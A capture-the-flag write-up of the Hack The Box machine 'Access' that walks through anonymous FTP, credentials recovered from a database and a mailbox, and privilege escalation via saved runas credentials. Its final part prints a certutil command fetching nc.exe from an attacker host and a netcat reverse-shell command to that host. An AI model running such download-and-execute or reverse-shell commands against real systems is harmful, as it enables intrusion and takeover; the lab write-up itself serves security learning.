HTB Write-up: Access

Access is an easy-difficulty Windows box that exemplifies some of the industry’s biggest faux pas. The FTP service running on the system allows for anonymous access, as if running the outdated and unencrypted protocol wasn’t enough. To make matters worse, the FTP server serves up information far sweeter than grandma’s famous gingersnaps. Upon initial access to the system, it becomes apparent that we’re dealing with another case of “The Lazy Administrator” who can’t be bothered to type (or perhaps even remember) their password.

Note: I completed this challenge on December 19th, 2018, however I’m just now writing it up in December 2019. As such, some of the details are sparse.

User

To begin the enumeration process, a port scan was run against the target using masscan. The purpose of this initial scan is to quickly determine which ports are open so that a more focused nmap scan can be performed that will target only the open ports discovered by masscan.

root@kali:~/workspace/hackthebox/Access# masscan -e tun0 -p 1-65535 --rate 2000 10.10.10.98

From masscan, it was revealed that TCP ports 21 (FTP), 23 (Telnet), and 80 (HTTP) were listening for connections. Using this information, a second scan was run using nmap to more thoughoughly examine the services listening on the discovered ports.

root@kali:~/workspace/hackthebox/Access# nmap -p 21,80,23 -sC -sV -oA scans/discovered-tcp 10.10.10.98 

As expected, the services listening for connections on Access were FTP, Telnet, and HTTP. A screenshot of the result of the nmap scan is shown below.

Of notable significance in this result is the “Anonymous FTP login allowed” line. This means that a user may access the FTP server running on Access as an anonymous user (with no password required). The process of accessing the FTP server in this manner is shown in the image below.

Two directories were found in the root directory of the FTP server; a Backups directory and an Engineer directory. Searching through these directories revealed two interesting files; backup.mdb in the Backups directory and Access Control.zip in the Engineer directory. The FTP command get can be used to transfer the remote files to the local testing host. Depending on the contents being transferred with get, it is often advisable to transfer the data in binary mode (as opposed to in ASCII (text) mode). Binary mode transfers data byte-for-byte while ASCII mode will convert line endings from those of the sending system to those of the receiving system. Binary mode can be enabled with the FTP binary command.

Once backup.mdb and Access Control.zip have been retrieved from the remote FTP server, they can be more thouroughly examined with the Linux file command. An example of this is demonstrated below.

root@kali:~/workspace/hackthebox/Access# file backup.mdb; file 'Access Control.zip'
backup.mdb: Microsoft Access Database
Access Control.zip: Zip archive data, at least v2.0 to extract

As files with the .mdb extension are not commonly used in Linux environments, a little searching was required to determine how to work with this Microsoft Access Database file type. The MDBOpener website was used to upload the backup.mdb Microsoft Access Database base, extract the contents, and export the data in CSV format. After parsing through the various tables present within the backup database, the auth_user table was eventually found, the contents of which are shown in the image below.

As the content within the auth_user table appears to contain username-password combinations, the username-password pairs were used in attempts to access the Telnet server running on TCP port 23 of the target system, but to no avail. Time to look elsewhere.

Moving on to the second file retreived from the FTP server, the 'Access Control.zip' file can be unzipped using the 7z tool, as shown below.

root@kali:~/workspace/hackthebox/Access# 7z x 'Access Control.zip'

In this case, the file is password protected. Using the password access4u@security password found previously in the auth_user table within the Microsoft Access Database successfully unzips the 'Access Control.zip' file, revealing the 'Access Control.pst' file. Checking this file out with file reveals that the .pst file is a Microsoft Outlook email folder:

root@kali:~/workspace/hackthebox/Access# file 'Access Control.pst'
Access Control.pst: Microsoft Outlook email folder (>=2003)

After a little research, it was found that the readpst tool as provided by the pst-utils package can be used to read the information within a .pst file. If necessary, pst-utils can be installed with the apt-get install pst-utils command. After using read-pst to reclaim the contents within the 'Access Control.pst' file, the 'Access Control.mbox' file is returned.

root@kali:~/workspace/hackthebox/Access# file 'Access Control.mbox'
Access Control.mbox: HTML document, UTF-8 Unicode text, with very long lines

As this contains UTF-8 Unicode text, it can be read using vi. A snippet of the contents within the 'Access Control.mbox' file is shown below.

Hi there,

The password for the “security” account has been changed to 4Cc3ssC0ntr0ller.  Please ensure this is passed on to your engineers.

Regards,
John

Thanks for the information, John.

The username security with the password 4Cc3ssC0ntr0ller can be used to log in Access using telnet. At this point, the user.txt flag can be read. This process is shown in the screenshot below.

Root

While running through the usual privelege escalation enumeration commands, something stood out as odd. After running the net users administrator command, it was revealed that the “Password Not Required” property has been set for the Administrator user. This means that the Administrator user is allowed passwordless logon to the system.

Investigating this property further with the Windows cmdkey /list command, it can be seen that the Administrator user has a stored credential on the system.

Continuing enumeration, the ZKAccess3.5 Security System.lnk shortcut file found on the Public user’s desktop suggests that commands can be run as the Administrator using the runas Windows command along with the /savecred flag. The runas command can be used to run a Windows command as another system user.

Putting these pieces together, it is clear that system commands can be run as the Administrator user if the /savecred flag is included as part of the runas command. The fact that the Administrator does not need a password to logon to the system, that the Administrator user has a stored credential on the system, and that the runas command with the /savecred flag is being used on the system suggests a possible privelege elevation scenario.

To leverage this situtation, nc.exe can be transferred to the target system and then used to obtain a reverse shell that connects to the attacking machine.

In this case, the certutil Windows tool is used on the target system to download nc.exeto the target system. After using Python’s SimpleHTTPServer to host nc.exe on the attacking system, the certutil command shown below was run on the target system to download the nc executable to the system.

C:\Users\security\Music>certutil.exe -urlcache -split -f http://10.10.14.2/nc.exe nc.exe

A screenshot of this process is included below.

With nc.exe on the target system and a nc listener listening on the attacking system, the command shown below was run on the target system to create a reverse shell connection to the attacking system.

C:\Users\security\Music>runas /user:Administrator /savecred "nc.exe -e cmd.exe 10.10.14.2 4444"

From the connection received on the attacking system, the root.txt flag can be read.